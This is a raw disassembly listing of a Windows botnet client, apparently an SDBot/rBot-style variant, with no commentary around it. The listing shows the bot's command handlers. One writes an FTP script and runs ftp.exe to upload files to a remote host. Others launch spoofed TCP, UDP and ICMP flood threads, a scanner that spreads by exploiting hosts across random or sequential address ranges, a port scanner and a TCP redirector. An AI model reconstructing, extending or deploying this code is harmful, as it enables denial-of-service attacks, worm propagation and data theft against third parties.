loc_40F1A3:				; CODE XREF: sub_40CC09+36E1j
					; sub_40CC09+38F3j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40F1B2:				; CODE XREF: sub_40CC09+36C5j
					; sub_40CC09+38A5j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411E05
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_40F1DC:				; CODE XREF: sub_40CC09+2444j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F371
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F371
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41217B
		push	4
		push	esi
		call	sub_40A90D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F246
		push	esi
		push	offset a_e_1_0bFtp_m_d ; ".e.(1.0b) ( ftp.m.d.l	) .»».	File not "...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_40F246:				; CODE XREF: sub_40CC09+2630j
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		call	sub_41386E
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41386E
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41386E
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+var_A98]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_A98]
		push	offset aAb	; "ab"
		push	eax
		call	sub_414F8F
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40CFCD
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415DDF
		push	[ebp+arg_24]
		call	sub_414E31
		lea	eax, [ebp+var_A98]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_413812
		add	esp, 2Ch
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_44CC5C	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F310
		push	offset a_e_1_0bFtp_m_0 ; ".e.(1.0b) ( ftp.m.d.l	) .»».	Uploading"...
		jmp	short loc_40F315
; ---------------------------------------------------------------------------


loc_40F310:				; CODE XREF: sub_40CC09+26FEj
		push	offset a_e_1_0bFtp_m_1 ; ".e.(1.0b) ( ftp.m.d.l	) .»».	Uploading"...


loc_40F315:				; CODE XREF: sub_40CC09+2705j
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F33E
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_40F33E:				; CODE XREF: sub_40CC09+2717j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833


loc_40F34A:				; CODE XREF: sub_40CC09+2766j
		lea	eax, [ebp+var_A98]
		push	4
		push	eax
		call	sub_40A90D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40CFCD
		lea	eax, [ebp+var_A98]
		push	eax
		call	sub_415DB5
		jmp	short loc_40F34A
; ---------------------------------------------------------------------------


loc_40F371:				; CODE XREF: sub_40CC09+25E4j
					; sub_40CC09+25FBj
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_413D7F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405900
		jmp	loc_412178
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40CC09+2416j
					; sub_40CC09+242Dj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_580]
		push	esi
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_580]
		push	eax
		push	offset off_42137C
		call	sub_413C30
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F402
		lea	eax, [ebp+var_580]
		push	eax
		push	offset off_421378
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F402
		lea	eax, [ebp+var_580]
		push	eax
		push	offset aRandom	; "random"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F402
		push	offset a_e_1_0bTcp_m_d ; ".e.(1.0b) ( tcp.m.d.l	) .»».	Invalid	f"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_40F402:				; CODE XREF: sub_40CC09+27BFj
					; sub_40CC09+27D6j ...
		push	[ebp+arg_10]
		call	sub_413D7F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_478], eax
		jle	loc_40F528
		push	edi
		lea	eax, [ebp+var_580]
		push	esi
		push	eax
		call	sub_413D8A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_413D8A
		push	[ebp+arg_0]
		call	sub_413D7F
		mov	[ebp+var_47C], eax
		xor	eax, eax
		cmp	[ebp+var_8A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_474], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_604], eax
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_474], ebx
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40F499
		mov	eax, offset aNormal ; "Normal"


loc_40F499:				; CODE XREF: sub_40CC09+2889j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset a_e_1_0bTcp_m_0 ; ".e.(1.0b) ( tcp.m.d.l	) .»».	%s %s flo"...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Ch
		push	eax
		call	sub_4132BE
		add	esp, 2Ch
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_604]
		push	ebx
		push	eax
		push	offset sub_401BD7
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_480]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40F517


loc_40F501:				; CODE XREF: sub_40CC09+290Cj
		cmp	[ebp+var_468], ebx
		jnz	loc_411957
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40F501
; ---------------------------------------------------------------------------


loc_40F517:				; CODE XREF: sub_40CC09+28F6j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bTcp_m_1 ; ".e.(1.0b) ( tcp.m.d.l	) .»».	Failed to"...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_40F528:				; CODE XREF: sub_40CC09+280Aj
		push	offset a_e_1_0bTcp_m_2 ; ".e.(1.0b) ( tcp.m.d.l	) .»».	Invalid	f"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_40F532:				; CODE XREF: sub_40CC09+23D1j
					; sub_40CC09+23E8j ...
		cmp	dword_44CDC8, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40F63A
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_1EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_284]
		push	edi
		push	eax
		call	sub_415140
		push	[ebp+arg_18]
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_204], eax
		call	sub_413D7F
		push	[ebp+arg_10]
		mov	[ebp+var_200], eax
		call	sub_413D7F
		push	7Fh
		mov	[ebp+var_1FC], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_415140
		push	[ebp+var_1FC]
		lea	eax, [ebp+var_284]
		mov	[ebp+var_308], esi
		push	[ebp+var_200]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_204]
		push	offset a_e_1_0bPing_m_ ; ".e.(1.0b) ( ping.m.d.l ) .»».	 Sending "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Eh
		push	eax
		call	sub_4132BE
		add	esp, 48h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_308]
		push	ebx
		push	eax
		push	offset sub_408B03
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_1F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40F629


loc_40F617:				; CODE XREF: sub_40CC09+2A1Ej
		cmp	[ebp+var_1E8], ebx
		jnz	short loc_40F653
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40F617
; ---------------------------------------------------------------------------


loc_40F629:				; CODE XREF: sub_40CC09+2A0Cj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bPing__0 ; ".e.(1.0b) ( ping.m.d.l ) .»».	 Failed	t"...
		jmp	loc_4101F3
; ---------------------------------------------------------------------------


loc_40F63A:				; CODE XREF: sub_40CC09+2932j
		push	0FEh
		lea	eax, [ebp+var_1C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_415140


loc_40F650:				; CODE XREF: sub_40CC09+35F6j
		add	esp, 0Ch


loc_40F653:				; CODE XREF: sub_40CC09+2A14j
					; sub_40CC09+2B69j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	[ebp+var_4]


loc_40F660:				; CODE XREF: sub_40CC09+4C3Aj
		lea	eax, [ebp+var_1C4]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_411974
; ---------------------------------------------------------------------------


loc_40F673:				; CODE XREF: sub_40CC09+238Cj
					; sub_40CC09+23A3j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_1EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_284]
		push	edi
		push	eax
		call	sub_415140
		push	[ebp+arg_18]
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_204], eax
		call	sub_413D7F
		push	[ebp+arg_10]
		mov	[ebp+var_200], eax
		call	sub_413D7F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_1FC], eax
		jz	short loc_40F6D8
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_1F8], eax
		jmp	short loc_40F6DE
; ---------------------------------------------------------------------------


loc_40F6D8:				; CODE XREF: sub_40CC09+2ABEj
		mov	[ebp+var_1F8], ebx


loc_40F6DE:				; CODE XREF: sub_40CC09+2ACDj
		push	7Fh
		lea	eax, [ebp+var_304]
		push	[ebp+var_8C]
		push	eax
		call	sub_415140
		push	[ebp+var_1FC]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_284]
		mov	[ebp+var_308], esi
		push	[ebp+var_200]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_204]
		push	offset a_e_1_0bUdp_m_d ; ".e.(1.0b) ( udp.m.d.l	) .»».	Sending	%"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Fh
		push	eax
		call	sub_4132BE
		add	esp, 30h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_308]
		push	ebx
		push	eax
		push	offset sub_408C8F
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_1F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40F782


loc_40F76C:				; CODE XREF: sub_40CC09+2B77j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_40F653
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40F76C
; ---------------------------------------------------------------------------


loc_40F782:				; CODE XREF: sub_40CC09+2B61j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bUdp_m_0 ; ".e.(1.0b) ( udp.m.d.l	) .»».	Failed to"...
		jmp	loc_4101F3
; ---------------------------------------------------------------------------


loc_40F793:				; CODE XREF: sub_40CC09+235Ej
					; sub_40CC09+2375j
		push	8
		call	sub_413506
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_413D7F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 100h
		jle	short loc_40F7E6
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExploit ; ".e.(1.0b) ( exploit.m.d.l ) .»».  Alrea"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5


loc_40F7DE:				; CODE XREF: sub_40CC09+3F56j
		add	esp, 20h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_40F7E6:				; CODE XREF: sub_40CC09+2BA6j
		push	edi
		call	sub_413D7F
		push	[ebp+arg_18]
		mov	[ebp+var_21C], eax
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_204], eax
		call	sub_413D7F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_218], eax
		jnb	short loc_40F81F
		push	1
		pop	eax
		mov	[ebp+var_218], eax


loc_40F81F:				; CODE XREF: sub_40CC09+2C0Bj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40F82C
		mov	[ebp+var_218], ecx


loc_40F82C:				; CODE XREF: sub_40CC09+2C1Bj
		push	[ebp+arg_10]
		call	sub_413D7F
		mov	[ebp+var_214], eax
		mov	eax, 2710h
		cmp	[ebp+var_214], eax
		pop	ecx
		jbe	short loc_40F84E
		mov	[ebp+var_214], eax


loc_40F84E:				; CODE XREF: sub_40CC09+2C3Dj
		or	[ebp+var_200], 0FFFFFFFFh
		cmp	dword_425A58, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40F8A4
		mov	[ebp+arg_24], offset dword_425A58


loc_40F867:				; CODE XREF: sub_40CC09+2C7Dj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F88A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40F867
		jmp	short loc_40F8A4
; ---------------------------------------------------------------------------


loc_40F88A:				; CODE XREF: sub_40CC09+2C6Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_200], eax
		imul	ecx, 3Ch
		mov	ecx, dword_425A58[ecx]
		mov	[ebp+var_21C], ecx


loc_40F8A4:				; CODE XREF: sub_40CC09+2C55j
					; sub_40CC09+2C7Fj
		cmp	[ebp+var_21C], ebx
		jz	loc_411566
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40F8EB
		cmp	byte ptr [edi],	23h
		jz	short loc_40F8EB
		push	edi
		lea	eax, [ebp+var_330]
		push	10h
		push	eax
		call	sub_413D8A
		push	78h
		push	edi
		call	sub_415BA0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_1F0], eax
		jmp	loc_40F9BF
; ---------------------------------------------------------------------------


loc_40F8EB:				; CODE XREF: sub_40CC09+2CB0j
					; sub_40CC09+2CB5j
		cmp	[ebp+var_8B3], bl
		jnz	short loc_40F90D
		cmp	[ebp+var_8B2], bl
		jnz	short loc_40F90D
		cmp	[ebp+var_8A2], bl
		jnz	short loc_40F90D
		push	offset a_e_1_0bExplo_0 ; ".e.(1.0b) ( exploit.m.d.l ) .»».  Faile"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_40F90D:				; CODE XREF: sub_40CC09+2CE8j
					; sub_40CC09+2CF0j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_44CC84	; getsockname
		mov	al, [ebp+var_8B3]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_1D4], eax
		push	[ebp+var_1D4]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415140
		add	esp, 0Ch
		cmp	[ebp+var_8A2], bl
		jz	short loc_40F9B9
		xor	eax, eax
		cmp	[ebp+var_8B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415440
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40F9AD


loc_40F98B:				; CODE XREF: sub_40CC09+2DA2j
		cmp	eax, ebx
		jz	short loc_40F9AD
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_330]
		push	30h
		push	eax
		call	sub_415440
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40F98B


loc_40F9AD:				; CODE XREF: sub_40CC09+2D80j
					; sub_40CC09+2D84j
		mov	[ebp+var_1F0], 1
		jmp	short loc_40F9BF
; ---------------------------------------------------------------------------


loc_40F9B9:				; CODE XREF: sub_40CC09+2D5Aj
		mov	[ebp+var_1F0], ebx


loc_40F9BF:				; CODE XREF: sub_40CC09+2CDDj
					; sub_40CC09+2DAEj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_220], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_320]
		push	edi
		push	eax
		call	sub_413D8A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FA10


loc_40F9FD:				; CODE XREF: sub_40CC09+2E2Aj
		push	esi


loc_40F9FE:				; CODE XREF: sub_40CC09+2E14j
		lea	eax, [ebp+var_2A0]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_40FA3B
; ---------------------------------------------------------------------------


loc_40FA10:				; CODE XREF: sub_40CC09+2DF2j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FA1F
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FA1F
		push	eax
		jmp	short loc_40F9FE
; ---------------------------------------------------------------------------


loc_40FA1F:				; CODE XREF: sub_40CC09+2E0Cj
					; sub_40CC09+2E11j
		mov	esi, offset off_42A3DC
		push	offset byte_438A10
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F9FD
		mov	[ebp+var_2A0], bl


loc_40FA3B:				; CODE XREF: sub_40CC09+2E05j
		cmp	[ebp+var_1F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FA4D
		mov	eax, offset aSequential	; "Sequential"


loc_40FA4D:				; CODE XREF: sub_40CC09+2E3Dj
		push	[ebp+var_204]
		lea	ecx, [ebp+var_330]
		push	[ebp+var_214]
		push	[ebp+var_218]
		push	[ebp+var_21C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExplo_1 ; ".e.(1.0b) ( exploit.m.d.l ) .»».  %s Ex"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	8
		push	eax
		call	sub_4132BE
		add	esp, 2Ch
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_330]
		push	ebx
		push	eax
		push	offset sub_406782
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_210]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FADB


loc_40FAC5:				; CODE XREF: sub_40CC09+2ED0j
		cmp	[ebp+var_1EC], ebx
		jnz	loc_411957
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40FAC5
; ---------------------------------------------------------------------------


loc_40FADB:				; CODE XREF: sub_40CC09+2EBAj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bExplo_2 ; ".e.(1.0b) ( exploit.m.d.l ) .»».  Faile"...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_40FAEC:				; CODE XREF: sub_40CC09+231Ej
					; sub_40CC09+2335j
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		cmp	byte_452140[eax], bl
		jz	loc_41217B
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		call	sub_413E90
		push	edi
		mov	esi, eax
		call	sub_413E90
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		lea	eax, [ebp+var_1C4]
		push	esi
		push	offset dword_432F38
		push	eax
		call	sub_413812
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_41217B
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B2B5
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		add	esp, 18h
		cmp	byte ptr dword_452028[eax], 73h
		jnz	loc_41217B
		push	esi
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		add	eax, offset byte_452140
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_40FBD4:				; CODE XREF: sub_40CC09+30C8j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5


loc_40FBF9:				; CODE XREF: sub_40CC09+4E2Dj
		add	esp, 28h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_40FC01:				; CODE XREF: sub_40CC09+22F0j
					; sub_40CC09+2307j
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		cmp	byte_452140[eax], bl
		jz	loc_41217B
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		call	sub_413E90
		push	edi
		mov	esi, eax
		call	sub_413E90
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_41217B
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B2B5
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		add	esp, 18h
		cmp	byte ptr dword_452028[eax], 73h
		jnz	loc_41217B
		push	esi
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		add	eax, offset byte_452140
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_40FBD4
; ---------------------------------------------------------------------------


loc_40FCD6:				; CODE XREF: sub_40CC09+22C2j
					; sub_40CC09+22D9j
		push	edi
		call	dword_44CD18	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_360], eax
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_36C], eax
		call	sub_413D7F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_368], eax
		lea	eax, [ebp+var_3EC]
		mov	[ebp+var_3F0], esi
		push	eax
		call	sub_415140
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_358], edi
		push	[ebp+var_368]
		mov	[ebp+var_354], eax
		push	[ebp+var_36C]
		push	[ebp+var_360]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bPortsca ; ".e.(1.0b) ( portscan.m.d.l ) .»».  Port"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	8
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	ebx
		push	eax
		push	offset sub_412BED
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FDB8


loc_40FDA2:				; CODE XREF: sub_40CC09+31ADj
		cmp	[ebp+var_350], ebx
		jnz	loc_411838
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40FDA2
; ---------------------------------------------------------------------------


loc_40FDB8:				; CODE XREF: sub_40CC09+3197j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bPorts_0 ; ".e.(1.0b) ( portscan.m.d.l ) .»».  Fail"...
		jmp	loc_411829
; ---------------------------------------------------------------------------


loc_40FDC9:				; CODE XREF: sub_40CC09+2294j
					; sub_40CC09+22ABj
		push	edi
		call	sub_413D7F
		push	7Fh
		mov	[ebp+var_200], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_415140
		push	[ebp+arg_0]
		call	sub_413D7F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_204], eax
		lea	eax, [ebp+var_284]
		push	80h
		push	eax
		mov	[ebp+var_30C], esi
		call	sub_413D8A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		push	[ebp+var_204]
		lea	eax, [ebp+var_304]
		mov	[ebp+var_1F4], edi
		push	eax
		push	[ebp+var_200]
		push	esi
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bRedirec ; ".e.(1.0b) ( redirect.m.d.l ) .»».  TCP "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	10h
		push	eax
		call	sub_4132BE
		add	esp, 24h
		mov	[ebp+var_1FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_30C]
		push	ebx
		push	eax
		push	offset sub_4069E1
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_1FC]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FEB2


loc_40FE9C:				; CODE XREF: sub_40CC09+32A7j
		cmp	[ebp+var_1EC], ebx
		jnz	loc_411838
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40FE9C
; ---------------------------------------------------------------------------


loc_40FEB2:				; CODE XREF: sub_40CC09+3291j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bRedir_0 ; ".e.(1.0b) ( redirect.m.d.l ) .»».  Fail"...
		jmp	loc_411829
; ---------------------------------------------------------------------------


loc_40FEC3:				; CODE XREF: sub_40CC09+2266j
					; sub_40CC09+227Dj
		push	0FFh
		lea	eax, [ebp+var_688]
		push	edi
		push	eax
		call	sub_415140
		push	0FFh
		lea	eax, [ebp+var_588]
		push	[ebp+arg_18]
		push	eax
		call	sub_415140
		push	[ebp+arg_0]
		mov	[ebp+var_484], ebx
